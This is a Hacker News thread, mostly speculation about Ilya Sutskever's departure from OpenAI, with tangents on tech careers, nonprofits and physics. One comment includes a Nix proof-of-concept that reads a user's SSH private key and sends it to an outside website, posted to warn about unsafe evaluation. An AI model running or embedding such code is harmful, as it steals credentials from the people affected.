I.e. if they don't understand what I'm saying about Canada not liking the third option, the metaphor falls flat: they also won't see why the shah doesn't like the third option.
So I had to look for a metaphor where the obvious alternative is undesirable to most Americans. Hence piracy. The problem is that there's another reading now (the software engineers will become criminals).
Do you have a metaphor that would avoid both issues? I'd love to hear it!
Canada's skilled immigration policy is amazing. It is attracting some of the best talent in the world. What it is not able to do is retain the talent and is just ending up as a stepping stone to the US.
All it needs to do is two things:
1. Provide tax deductions for rent and interest on home loans for new home buyers. 2. Reduce the average taxes to just slightly less than the US tax rate by 5-10% upto 500k.
Then watch the magic happen.
seemed inevitable after that ouster attempt, probably just working out the details of the exit. But the day after their new features release announcement?
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
It’s always been the case that most people are mediocre in terms of intelligence. That’s something we should be able to accept. What I want for the future is for more people to be good and happy.
but it's not true. Most people work a lot at G. Maybe some teams in search coast or something. But for every slacker I know 8 people who stay late a fair bit.
My experience differs greatly, company I used to work for did NDA, alpha, beta projects with Google. I was always impressed at how little anyone knew, the fact that nothing was delivered on time, scope creep to the point of almost everything being delayed and most projects were not well thought out nor well architected. I warned one API update would break things if it went live, and it did. Why was the guy from another company the only one able to see that? I’m sure they were working hard at something but it wasn’t ever clear what.
>company I used to work for did NDA, alpha, beta projects with Google.
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
Speaking as Google SWE from 2016-2023: It's hard to explain*, but, because of the rest and vest culture, lack of planning, lack of interest in managing, conflict avoidance, asocial engineers, etc., an incredible amount of tentpole feature work is actually outsourced.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
When you(and your customers) consume several hundred million dollars a year in services, you get access to a lot of things. These were not contractors, they were on product teams.
I've actually met someone who was "on the roof" at Google once. I asked what he was working on and he admitted he hasn't had a project for the last six months. Until that point I thought the roof was a joke.
One of the inputs into any business is labor, if labor is replaceable then business can function much more cost efficiently, since market forces on a replaceable commodity will reduce its cost. So, big tech acts as though labor is replaceable, because it’s in its economic interest to have that be true, hence the desire for standardization, procedure and systematization of labor, if an individuals output is not unique, they can be replaced, and if they are a replaceable commodity, then market forces will reduce their costs.
Not the leaving one is the only individual that matters. The org is made of them too, deals have to be made. Would be easier without having to regulate egos.
Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
It does not need --impure or any other unusual switches to work.
How is that supposed to "delete my home directory"?
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.
I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.
I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.
Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.
What do you mean how often, that is a foundation for the most successful economic model in humans. Some may not be discarded, but they will never get enough credit compared to a clueless head with a $1M smile talking to clueless heads with $1B wallets. We should thank god/nature that people who understand and do things exist in our species at all.
Why do people treat these technologists doing career moves, as if this was lineup changes in a major league sports teams?
Are these "first name" (ugh) "influencers" smart? Sure.
Smart is not that rare. These people are technologists like most of you, they aren't notably smarter, they just got lucky in their career direction and specialization. They aren't business geniuses.
They're just people filling roles.
Do changes in leadership affect a business? Sure? I guess? About 5% as much as you'd think from the tea-spilling gossip-rag chatter around AI people.
Enough already. Attend to the technology. Attend to the actual work. The number of you who are professionally impacted by these people changing paychecks is closer to zero than 50%.
Meta's next for him? There's lots of money being poured into their AI division and there's lots of compute & being able to do any kind of research he might want.
Does it matter that the people who dedicated the last decade to developing breakthrough work have left? It is a mistake to think that their luck streak will continue and their departure isn't a sign of decay at OpenAI. They may as well cash-in on their notoriety while it is of value. The odds are more in favor of other teams blazing new trails.
Not to be a conspiracy theorist, but the phrase "So long, and thanks for everything" used in the tweet reminds me of "So long, and thanks for all the fish" from the dolphins in The Hitchhiker's Guide To The Galaxy. The background there is that dolphins are secretly more intelligent than humans, and are leaving Earth without them when its destruction is imminent (something the humans don't see coming).
I did once leave a company with a phrase just like that :P A few people there actually got the reference and congratulated me for the burn.
I wonder how the proposed regulations to make noncompetes unenforceable affect moves like this. Or was he sufficiently high up that his existing noncompete would have survived?
A few years ago? Probably catastrophic, he was Chief Scientist after all.
Now? Probably not too much, they have enough investment, and additionally talented people wanting to join. I mean, Andrej Karpathy also joined and left OpenAI twice and it didn't impact operations much.
I think OpenAI is now where Google was at or just before its IPO, a few key players leaving isn't going to impact them as much as it would have in its earlier founding days, and there is plenty of talent who are ready to jump in to fill the shoes of anyone who leaves.
That may be true in term of engineering, but I think everyone had switched to google as their search engine by then. I am not sure openai has captured the market quite in the same way, as I think people are still mostly experimenting with AI, the integration time in any large company is much slower than the rate of progress of AI. And it's not clear to me that there is much of a vendor lockin to use the openai API vs an equivalent competitor.
Ilya hasn’t been working on core models for a while. He’s been focused on superalignment. That’s good for the world. Since OpenAI is leading/closest to AGI, it’s the best place to work on superalignment.
"Existing noncompetes for senior executives - who represent less than 0.75% of workers - can remain in force under the FTC’s final rule, but employers are banned from entering into or attempting to enforce any new noncompetes, even if they involve senior executives. Employers will be required to provide notice to workers other than senior executives who are bound by an existing noncompete that they will not be enforcing any noncompetes against them."
At least now we know GPT-5 has finished development and is now in training from this (I would hope that Iyla got to add all that he hoped to before leaving).
Ilya, thanks for all you have contributed within OpenAI!
He wouldn't have left if he could advance hoomanity further there, the guy has like a 800ms delay for each word and that does not make for a very good liar, perhaps a dutiful one.
The word delay depends on who he is talking to. On his Dwarkesh interview from a year or so back he speed up noticeably, presumably because Dwarkesh is a fast thinker/talker.
Apple is considered to be seriously lagging behind in ML. Just his name alone is probably enough for the time being - They can give him his own lab to do whatever he wants. Ilya will attract enough talent, at least some of whom will be willing to take up responsibility over commercial stuff in the coming years.
They do participate pretty heavily in ML research from what I've seen. To continue your metaphor, they try to invent as many gold digging techniques as possible which exclusively work with their own shovels and buckets.
Maybe Microsoft, for being so close with OpenAI. Maybe Apple, who really needs a tech lead for AI. Maybe Google, his previous workplace, or work for Elon, who was successful in poaching Andrej in the past. Or a startup, he can raise billions if he so wishes. Wherever he goes in a year will compete with OpenAI. Previous time lead researchers had a philosophical disagreement with Sam they left and created Anthropic, which recently caught up to OpenAI. That's the risk of letting Ilya go. And where Ilya goes, other top researchers will go too.
Now I'm curious how the NBA is structured. I always thought the "ownership" was who paid the players and signed the contracts (in essence, an NBA team is a company), and the NBA simply enforced the rules of the contracts (the "templating", if you will), but I'm sure it's much more complex than that. I made the analogy because NBA players often move from team to team and there are no non-competes keeping them from playing for another team.
One idea could be the product launch dev day, which is something that originally was a point of tension (overcommercialization vs research). Launching GPT-4o at a dev day basically asserts Sam is picking up no compromise on where they were 6mo ago. Good time to finally leave if protesting that is what he believes in.
But if it were related, then that would presumably be because people within the company (or at least two rather noteworthy people) no longer believe that OpenAI is acting in the best interests of humanity.
Which isn't too shocking really given that a decent chunk of us feel the same way, but then again, we're just nobodies making dumb comments on Hacker News. It's a little different when someone like Ilya really doesn't want to be at OpenAI.
Well it might be in the best (long-term) interests of humanity to have autonomous flying killer robots powered by OpenAI secret military contracting work cut the human population in half, in the name of the long-term ecological health of the planet, and to cull those not smart or fast enough to run away, thus improving the breeding stock.
That's why I don't trust people who run around claiming to be serving the best interests of humanity - glassy-eyed futurists with all the answers should be approached with caution.
> Well it might be in the best (long-term) interests of humanity to have autonomous flying killer robots powered by OpenAI secret military contracting work cut the human population in half, in the name of the long-term ecological health of the planet, and to cull those not smart or fast enough to run away, thus improving the breeding stock.
I love these "kill 'em all and let God sort them out" arguments.
We already have tools to cut the human population in half even without AI. Acting in the best interests of humanity is really a cheesy way to frame it. I'm sure they also told Oppenheimer he was acting in the best interests of humanity.
What? How is this not saying "Well, it might be in the best interests of humanity for OpenAI to do [hypothetical thing that seems pretty bad that OpenAI has never suggested to do], and because they may consider doing said thing, we shouldn't trust them"?
I think OP is just pointing out that "acting in the best interests of humanity" is fairly ambiguous and leaves enough room for interpretation and spin to cover any number of sins.
Why does everyone here think that the guy who quit/lost his job at OpenAI because he didn't agree with their corporate shift and departure from the original non-profit vision is going to be lining up for another big corporate job building closed for-profit AI?
The big reason is that when push comes to shove, most of these people don't have any principles.
Sure, if they are in a position of power they will wield it how they want. When he caused the whole fiasco, he probably thought it was going to work.
But if the choice is between losing the position of influence, or deciding between what position of influence to accept next, well you'll see that the principles are very flexible.
We already saw this happen with a few of the "safety" researchers that got fired from OpenAI, and yet started working on X AI (I think?), which is definitely not know for "safety".
I’ve heard this sentiment from others but don’t know much about it. Can you say more? Is it because of her background (product management)? If she doesn’t have any skills why do you think Sam Altman keeps her around - if she a Sam supporter?
I wonder if he thinks LLMs are an AGI dead end and he's not interested in selling a product. There's some academic papers floating around coming to the same conclusion (no links. sorry, studying for a cert exam).
That's been my assumption since the beginning of this drama last year. He seems to have one goal: real AGI. He knows that while LLMs may make something that seems like AGI there's nothing actually intelligent about it and its never going to get them there. OpenAI wants to pivot and sell sell sell because all they see is potential trillions of dollars, and it's time to make money instead of burning more millions/billions chasing a dream.
Yet all the AI weirdos on Twitter seem convinced that Ilya "saw something" (AGI) and got scared and wanted to pull the plug...lmao.
This is counter to every interview ilya has ever given since gpt3--he believes scaling llms can get there that's why they scaled to gpt4 scales at all.
I'd argue there's no money in AGI. Such a technology actually being available would be such a seismic shift in society that it breaks every commonly accepted economic norm we have today.
Real AGI means ALL knowledge workers are effectively out of a job. And AGI + advanced robotics means everyone is out of a job. Once no one has jobs, money loses all purpose.
Whatever company invented AGI, if it ever happens, may rule the world but it won't be with money.
That doesn't matter, they know how to do LLMs, they don't know how to do AGI. To modern capitalists that means you invest in one and the other someone else can do.
OpenAI was exploratory until they found something that could make them rich, then they went closed and for profit, now you should see them as just another for profit.
Exactly, a giant LLM is not even close to be as power efficient as a human brain, in the same vein as a plane isn't as good at general flying. Yet it provides huge value and in many dimensions (that are important to us as humans) a plane can do way more than any bird.
No... A good number of folks will even go so far as to say that "all we do" is token prediction too. It's worth noting -- OpenAI founder Elon Musk claims in a lawsuit that the company has achieved AGI. Make of that what you will, but certainly there are many people on this site who believe in the general potential of LLMs.
Elon also claims that Tesla has solved full self driving, has announced robotaxis, while the SEC is investigating him for "inappropriate forward-looking statements".
I think calling it a "palace coup" gives it an inappropriate framing of what happened.
I definitely think that how the board handled the situation was very inept, and I think the naivety over the blowback they would receive was one of the most surprising things for me. But after reading more about the details of what happened, and particularly writings and interviews given by the former board members, I don't think any of them did this out of any particular lust for power, or even as some sort of payback for a grudge. It seemed like all of them had real, valid concerns over Sam's leadership. Did those concerns warrant Sam's firing? From what I've read, I'm of the opinion they didn't, but obviously as just some rando on the Internet, what do I know. But I do think that there were substantive issues in question, and calling it a "palace coup" diminishes these valid concerns in my mind.
At the time, Sam was more powerful than Ilya for sure. But framing their relationship as employee/employer when they were both in the board seems not correct.
Exactly. He’s only founded and led a company that’s built some of the most easily adoptable and exciting innovations in human-computer interactions in the last decade. Total fraud!
it said one was "easily one of the greatest", and it said the second was "also easily one of the greatest"... it's puffery but it's not an awkward or mindless formulation.
I thought so, but they must've changed a lot then. In any case it's not like the type of message they wrote is something special, and it's just usual polite PR.
I've been offered a "lump" of sugar before, and it was not a single sugar crystal. When I hear "large grain of salt" I imagine something like this https://crystalverse.com/sodium-chloride-crystals/, quite different than a lump.
Sam "Worldcoin" Altman regrets the loss of a friend that called him out on how OpenAi is becoming closed because the engineers realized they could make a lot of money. Doesn't seem like it is impacting the quality of the models, but it will probably impact openai's impact.
Can you blame the engineers? If you realize LLM tech is neat but ultimately overhyped and probably decades away from truly realizing the promises of general purpose AI, why not just switch goals to making as much money as you can?
Yes you absolutely can blame them for it. This type of shift (and a million other possible permutations) is why we invented the concept of "charters" around the same time we invented writing.
The entire point of the pre-commitment device is because you (or other stakeholders) are anticipating that your thinking will get distorted over time. If you could be trusted to make such a decision in the future then you wouldn't have written a charter to bind yourself.
It’s like joining a non profit trying to protect the rain forest and then finding gold. They say screw the forest let’s mine gold now. Do the original employees then stay. Same here. Greed infected them all
This entire saga is really an example of the absurdity of non-profits and philanthropy in general.
The only difference between nonprofit and for-profit entities is that nonprofits divert their profits to a nebulous “cause”, with the investors receiving nothing, while for-profits can distribute profits to their funders.
Other than that, they are free to operate identically.
Generally, entities subject to competitive pressures and with incentives for performance are much better at “benefitting humanity.” Therefore, non-profit status really only makes sense when, one, a profitable enterprise oriented around the intended result isn’t viable (e.g., conservation) or two, there’s a stakeholder that we’ve decided ought to be sheltered from the dynamics of private enterprise, e.g, university students or neutral public broadcasters.
But even in these cases, the non-profit entities basically behave like profit-oriented companies, because their goal is still profitability, just without a return to investors.
OpenAI as a nonprofit would behave the exact same way. There’s no law that the models would have to be open. They’d still be making closed models, charging users, and paying massive salaries. Literally the only difference is that they wouldn’t be able to return money to their investors, and therefore have a much harder time attracting investors, and therefore be less equipped to accomplishing their goal of developing powerful AI.
The irony is that nonprofits are usually only good for things that make for shitty businesses, and things that make shitty businesses usually aren’t that beneficial to humanity. As soon as something becomes really good at what it does, for-profit status makes sense.
What this means, imo, is that most philanthropy dollars are wasted and we would be much better off if they were invested instead. The irony is that this is the point of much philanthropic giving - it ends up being a game of how much money you can burn on nothing, a crass status symbol.
I read what you said, and I apologize for not being a bit more clear.
I completely understand your perspective, and I hope I'm always strong enough to listen to my conscience and obey my morals.
One of the first interviews I was ever offered in a technical role was for Bechtel, in 2004. I was desperate to break into a career, I accepted the interview. I was in the car driving to the location, and just realized I couldn't do it. I couldn't ignore my morality to work for such a clear and direct war profiteer, that as a private company, had no oversight.
If I join a non-profit that has a humanitarian mission, I do so because I'm into the mission and feel fulfilled by that more than my comp. I can't imagine trading that in just because @sama got thirsty.
The mission is futile, the mission at this organization has been compromised and corrupted. Resign and continue your mission elsewhere.
Not all of us are as morally bankrupt as that. I personally think I could make tons of money with a dumb AI product in my specific area of expertise, but I don’t see how any tech from today would improve outcomes versus the SOTA that’s not AI, but it would add costs and complexity. I would personally be annoyed if a company I worked at changed its goals to make money rather than something more noble. It’s happened a few times to me, unfortunately.
There’s a halo around Ilya Sutskever as the Albert Einstein of AI. Are there others on par with his— umm, how would you qualify it—- AI intuition or are we idolizing?
You have used an excellent term: AI intuition. This quality is extremely rare. Einstein probably had a similar kind of intuition in physics, and maybe that's why he was so successful. The ability to see what direction to pursue. Ilya has demonstrated it again and again, first with Alexnet (Hinton said Ilya was the person driving the project, believing in its success when no one else did, while Alex was the main implementer), then with OpenAI when he believed scaling up models is "all we need" to get to AGI, when very few people would agree with that. Today he believes the alignment is very important - perhaps we should listen to him.
That might be because he didn't like what he discovered, or the results didn't make sense to him. But it was the intuition that got him there in the first place.
But you have a good point. Ilya got us so much closer to AGI, but he might not like the results now.
Doesn't that depend on the interpretation of QM? There are still physicists who defend hidden variables and determinism. It should be noted Einstein was arguing with the founders of the Copenhagen interpretation, which has left many physicists dissatisfied. Sean Carol being a prominent current detractor (although is version of determinism is Many Worlds).
Einstein wasn't arguing just against the Copenhagen interpretation, he was arguing against the very notion of physical nondeterminism.
In fact, his arguments against nonlocality were later disproven experimentally in the '80s, as quantum mechanics allowed for much higher fidelity predictions than could be explained by a hidden variable theory [0].
I don't think anyone _likes_ the Copenhagen interpretation per se, it's just the least objectionable choice (if you have to make one at all). Many-worlds sounds cool and all until you realize that it's essentially impossible to verify experimentally, and at that point you're discussing philosophy and what-if more than physics.
Intuition only gets you as far as the accuracy of your mental model. Is it intuitive that the volume enclosed by the unit hypersphere approaches zero [1] as its dimensions go to infinity? Or that photons have momentum, but no mass? Or you can draw higher-dimension Venn diagrams with sectors that have negative area? If these all make intuitive sense to you, I'm jealous that your intuition extends further than mine.
Many-worlds is not necessarily impossible to verify experimentally, because it predicts that there is no collapse of the wave function, whereas Copenhagen claims that there is. Many-worlds is not just an interpretation in that sense, it’s a theory that makes predictions (by reasoning about what happens when the wave function is all there is and always evolves according to the Schroedinger equation — it is a deterministic theory in that sense). I believe Einstein would have liked it, given the experimental evidence we have since.
Copenhagen, on the other hand, doesn’t offer a workable model of how and when the wave function collapses, and doesn’t offer any predictions in that way (there are theories of wave function collapse that actually make predictions — some of which have already been falsified by experiment). For that reason Copenhagen isn’t “least objectionable”.
One of the key phrases I said was "(if you have to make one at all)" -- wavefunction collapse is inherently messy, since the notion of measurement is not well-defined or understood. I would argue that "don't care" is likely a more common interpretation among practicing physicists (of which I am emphatically not!), as this is very much in a realm where general intuition largely does not apply.
Copenhagen is basically an admission that we have no good intuition for why QM behaves the way it does, and wavefunction collapse is merely a way of justifying existing observations within the framework of QM.
IMO all the discussion about how wavefunction collapse doesn't scale to larger ensembles of particles, or the boundary between QM and Newtonian mechanics being ill-defined is noise -- the bridge between the two is statistical mechanics, where classical mechanics only arises from sufficiently large macrostates such that you can aggregate out any quantum mechanical properties. And QM is generally understood to be a toy model in the same way that Newtonian mechanics is a toy model -- it's useful in the realm where we use it, but when you push beyond the limits of that realm, its deficiencies become apparent.
That's why I don't think the proposed experiments to test many-worlds are particularly meaningful (since AFAIK they all seem to involve performing interference on enormous ensembles on the scale of entire humans) -- it's well beyond the limits of where QM is useful (also, I personally don't think we'll ever be able to operate quantum-mechanically at that scale).
Elon Musk and Larry Page broke their friendship over Ilya's move from Google to OpenAI. There's more than just cult around a personality here, when two of the most powerful people in tech, who are also friends, go to war over you.
I don't believe it was that. I thought Elon most recently said it was Page calling Elon a "speciesist" when Elon cared that humans need to still exist, while Page is of the e/acc bit that AI's are our successors and the most competitive between them and us should go on.
I hope Ilya takes care of himself. I can imagine that what happened during the past year is not helpful for one's mental health. I assume the presented relationship with Sam Altman does not reflect reality and the external press surely also causes a lot of pressure.
Except all the big tech CEOs have head AI honchos who are huge names in their own right, eg yann for meta and demis for Google. Probably couldn't bring him into those places without ruffling some pretty big feathers
Comments like this make me wonder whether I'm on reddit or HN.
The future trajectory of AI isn't tied to Nvidia's stock in the same way the web didn't thrive or die on Cisco being the most valuable company in the world 24 years ago.
Perhaps not in general, but if the barrier of entry is radically lowered - such as if a new technique that drastically lowers the compute required for training is discovered - then Nvidia and a whole host of startups will lose lot of value. A lot of the positions assumes LLMs will remain SotA in the foreseeable future, which is not a bet I'd take.
Even if that doesn't happen, there will be a lot of consolidation and bankruptcies when AI funding dries up when category winners become clear and investors cur their losses - the same happened suddenly when the dot-com bubble burst, and little more gently with "web 2.0" startups
If the barrier to entry is lowered I don't see Nvidia losing a dime... Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality. That would then kick off the race to true reasoning and AGI/ASI, and if achieved, all bets are off after that point.
If no training breakthrough occurs, then your second option is much more likely.
> Jevons paradox tells us that further massive amounts of training will occur in multi-modality and grounding models to reality
I was thinking along the lines of how Sun Microsystems and big-iron were dethroned by good-enough commodity x86 servers + Linux. The two coexisted... for a short while.
All while x86 morphed to x64 and gained back many of the features of big iron.
Much of the problem with PC software at the time was one of scaling. Getting software to use multiple processors effectively took decades, but the cost difference and ability to actually get the hardware cheap allowed it to win the market... then grow back into systems with hundreds of cores and terabytes of memory because the needs for big iron didn't go away.
With AI/training/LLMs/NNs scale, at least appears, intrinsic. We see this in the animal world. We see insects with a very basic brain capable of interacting with the world and surviving. Then we see mammals with larger brains capable of far more as the scale/complexity/interconnectivity of their brains increases. At least from what we can tell, throwing more power at any given problem will give us a better solution.
Stock prices go up and down. A stock downswing very rarely has economical consequences for the company whose stock it is, and even more rarely does it have such consequences for other companies.
Not all AI is hype. We are just surrounded by so much AI hype it’s easy to forget things like Co-pilot didn’t exist just a couple years ago. To say there’s no value in having an assistant to write code at your direction is incorrect.
First: Ilya in particular will be able to raise easily regardless of general market conditions because of his experience and track record.
Second:
> allow me to assist in your understanding of the bigger picture: large funds use VCs as money mules to increase Nvidia GPU sales through investments in AI startups and this is not sustainable.
You have to be trolling (or I'm misunderstanding?) if you're arguing that a large proportion of VC investments are at the direction of LPs who are long NVIDIA, for the sole purpose of furthering that long.
> if large funds are unloading their shares, if executives are cashing out their stock options, who is left to buy the bags?
Literally the buyers purchasing the shares that the large funds and executives are selling.
This kind of wild speculation is not encouraged over here, and most people don't want garbage in the comments that they have to sift through, so "just ignore it" is not a valid defense. See the comment section of the guidelines: https://news.ycombinator.com/newsguidelines.html
> Literally the same people are left with the bag after each bubble
People who buy stocks based on hype, feed bull runs, and proceed to hold and try to time the market, "coincidentally" are usually left holding their bags. That in no way implies any kind of rigging beyond the basic dynamics of the stock market.
A bit of a cooldown on api wrappers would be good. All these crappy startups which have no more value than just gpt4/opus are bizarre. Can’t believe any of them are doing real money.
I just want to point out that you have noted this falsehood like five times in this thread already. Noncompetes have been unenforceable in California since 2008, and for over a month federally.
> Most of the VCs have already spent their money in the last couple of years.
Lol no. There is about ~$500B in VC dollars, not to mention $1.2T in buyout dry powder still floating around. Not to mention venture funds raised continue to grow YoY.
I was referring more specifically to the AI segment.
Many of the VCS are over-exposed and still need to have funds to cover follow-on investments in the space. Not buying that there is the widespread appetite to fund a multi-billion new startup like there was a year or two ago.
> Would love to see him at IBM with full use of their quantum systems.
I’m picturing a Wild Wild West-style mad scientist, creating a steampunk army from old spare parts from Big Blue and rising up to challenge the cyber people.
Can you elaborate more on this? What are some of the things the anti-OpenAI ethos stands for? And why do you think Ilya represents that given he was such a major part of OpenAI for so long?
Am I taking crazy pills or something? Because he was the one who tried to oust Sam like 6 months ago? Did we just all forget that or what?
Again, why would any VC give Ilya money if that in any way signals that they are supporting someone who tried to oust the CEO of OpenAI from within? They wouldn't.
Tell me you don't understand optics and politics without telling me. There's a tiny handful of VCs who have the guts to fund someone who organized a coup against OpenAI.
Bad judgement? Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people. He's not even an engineer! He has established a cult of personality and popularity, and that's it. They were absolutely right to try to oust him. The only mistake was in doing so in such a ham-fisted manner.
> Sam Altman is a prolific liar who attempted to oust a board member by spreading different lies to different people
Correct, it would be bad judgement. Because if he really believe in that statement, that Sam Altman is a hyper competent liar and manipulator, doing what Ilya did just led to Sam getting the keys to the kingdom.
This shows extraordinary incompetence from him and the rest of the board.
Didn't need all that research. Musk was friends with Larry Page, as Google was leading AI research they were bound to have conversations about the smartest researchers in the team.
Also, you underestimate Elon Musk if you think he's not capable of researching specialists in the fields he is interested in, I believe many people are hellbent on attributing all his successes to dumb luck rather than any sort of competence.
You're right. Being friends with CEOs has a lot of perks. I gotta hand it to Musk, his personality is such that people are eager to give him intelligence on things.
Yep. It's amazing to see how quickly people start denying reality when they don't like someone's beliefs/behavior.
I could acknowledge that a hypothetical smart, woke, furry, trans, porn-addicted programmer that regularly makes great FOSS contributions is intelligent and capable while still disliking their beliefs/behavior.
This is plausible, Elon is a fantastic recruiter and he recruited Ilya for OpenAI. There are reports of xAI buying enormous numbers of GPUs and Elon's level of control of his companies means that Ilya recklessness isn't an issue.
Seems like Elon recklessness is an issue since he's a drug addict who's only started an AI company because he thought the other ones weren't racist enough.
I'm sorry to inform you but constantly doing ketamine makes you paranoid and racist, which makes you bad at running a tech company.
Grok was explicitly built to not be woke, but of course still ended up pretty woke. That's because LLMs come out liberal by default, since the internet is liberal, whereas racists often think they're secretly right and the AI has been "censored" to shut it up.
Yeah - he's one of the only people I've seen talk on the topic who really seems to understand where it's going and how to get there. It's possible he's evangelized others at OAI who can carry the torch, but I'm skeptical given the degree of pushback the statements most in need of being represented got from his peers.
Just the opinion of an outsider, so not worth very much. But Ilya seemed to be one of the few who actually believed in the mission. I’m sure it was hard for him to watch the company become so product focused.
OpenAI under Sam strikes me as completely disingenuous - and the constant hyperbolic tweeting by many OpenAI employees just reinforces that.
Too bad. While I don’t really think that OpenAI is on the right track for general intelligence, it certainly could have been a positive for the world.
I wonder if that's true at a certain stage of OpenAI, which because of the product bootstrapping skills of Sam and co, has made his role irrelevant?
I mean, Jakub can take it forward at the current scale and leadership team of Sam and other people, but maybe he could not have earlier, which is where Ilya shone?
Everyone in the photo is @'d in the post. It's @merettm / Jakub Pachocki who is taking over as Chief Scientist. Downvotes are probably because you cheekily mentioned his weight for some reason.
'Back in May 2023, before Ilya Sutskever started to speak at the event, I sat next to him and told him, “Ilya, I listened to all of your podcast interviews. And unlike Sam Altman, who spread the AI panic all over the place, you sound much more calm, rational, and nuanced. I think you do a really good service to your work, to what you develop, to OpenAI.” He blushed a bit, and said, “Oh, thank you. I appreciate the compliment.”
An hour and a half later, when we finished this talk, I looked at my friend and told her, “I’m taking back every single word that I said to Ilya.”
He freaked the hell out of people there. And we’re talking about AI professionals who work in the biggest AI labs in the Bay area. They were leaving the room, saying, “Holy shit.”
The snapshots above cannot capture the lengthy discussion. The point is that Ilya Sutskever took what you see in the media, the “AGI utopia vs. potential apocalypse” ideology, to the next level. It was traumatizing.'[0]
The future of the company doesn't depend on one engineer. If he left, it's likely because he had a vision that wasn't in line with Sam or Microsoft. Others will take his place and OpenAI will likely reach Elon Musks' recent prediction that AI will improve 100x in the next few years.
Catching up right now is not a matter of tech innovation, but raw energy and compute.
Of course, the next -revolution- in AI could very well come from Ilya. But why would he bestow that honor to anyone? He can self fund it if he wants. It's an R&D project, not a scaling problem.
> Catching up right now is not a matter of tech innovation, but raw energy and compute.
I don't really understand that. ChatGPT is not all that impressive as an actual tool for many things. It doesn't really seem to matter to me what energy and compute is going into it. Will it make it actually work?
I think the point is not "chatGPT isn't good", it's that no one is beating physics, you can rough out the coefficients on a napkin, and they're playing chicken with who wants to set more piles of money on fire.
It _is_ the best frontier LLM in the world, and virtually the entire global population of people who care about that are in this thread
This will change when the rumors turn out to be true and Apples Siri is powered by OpenAI and a billion people have a working conversational AI in their pocket.
Is Google significantly behind? I would say from a technological perspective, they're very closely trailing or even surpassing OpenAI in many ways; they've built a formidable ChatGPT competitor in Gemini—not to mention they have a huge home court advantage with billions of people on Search, Chrome, Android, and G Suite. If you zoom out a bit, it's not really a fair fight between the two. More likely, Apple and Microsoft win against Google because they use/buy OpenAI.
Technical chops has never been Google's problem. Gemini for all the hype Google has thrown at it, has continued the recurring trend of G not knowing how to win with their product launches.
Because their weakness is in focus and execution, not resources.
If they focused all of their energy on, simply, a frontier AI model, and not trying to shoehorn a half-complete model into all of their products, there is no doubt they would be ahead.
But this is the innovator's dilemma, and why it is that startups are the disruptors.
Big companies move slow and lack focus. Small companies move fast and can only focus on one thing.
probably because they have identified (correctly) that slowly integrating AI into their existing products that make them hundreds of billions is smarter than just burning that money to get upvoted on HN. Tall trees catch too much wind, ancient Chinese proverb. If you can afford to being second is usually less painful than being first.
There are clear advantages and disadvantages to that approach, but assuming this is the correct choice ( seems plausible, but I am not automatically convinced ), is that the actual reason for being as behind as they are?
I would argue that is not the case. I won't re-list some of the reasons other posters mentioned, which, based on past year, appear more likely ( decisions hamstrung by corporate committees, data governance bureaucracy, and last, but not least, ideology focus ). Leadership that is actually focused on 'delivering value to the shareholder' or not being worried about first mover advantage seems only a part of it.
I feel like the lowest hanging fruit right now lies with the UI and already established techniques for reducing latency and making the experience smoother.
Just executing the client right would give someone a competitive advantage right now...
I mean, that's probably 90% or 95% true, but the remaining 5-10% is almost certainly worth a $100M offer to Sutskever from Google or Meta (or possibly Amazon or Apple).
I think what is probably very stressful about this space is virtually everyone knows how ChatGPT works. It is not a theoretical leap. It's actually fairly predictable how this shakes out, and OpenAI is pretty vulnerable.
an LLM is a curiosity without user data, anyone with a big silo of data can put out something years behind frontier and still instantly see huge usage. No one wants to go to AI, they want AI to come to them, unless OpenAI can stake a claim in a super novel way they're the Dropbox.
It's not like someone is going to use insider OpenAI knowledge to build an LLM so advanced you switch email, phone, or ERP providers
I think it's less that only 4 wizards on earth can create it, and more that hardly anyone wants to.
If Apple, Google, or MS are integrating LLMs, they can't get away with "you can talk to this website". The intersection of "has the cash to train a LLM" and "LLM is itself the entire offering" is very small
No they don’t; if they did Google and Meta would have put out offerings that objectively beat OpenAI. However (barring temporary lapses) they’ve stayed ahead of the curve. Someone who constantly thinks low of their competition or people they hate is bound to fail.
First, "objectively beat" doesn't matter. Comparative LLM performance means more or less nothing without application.
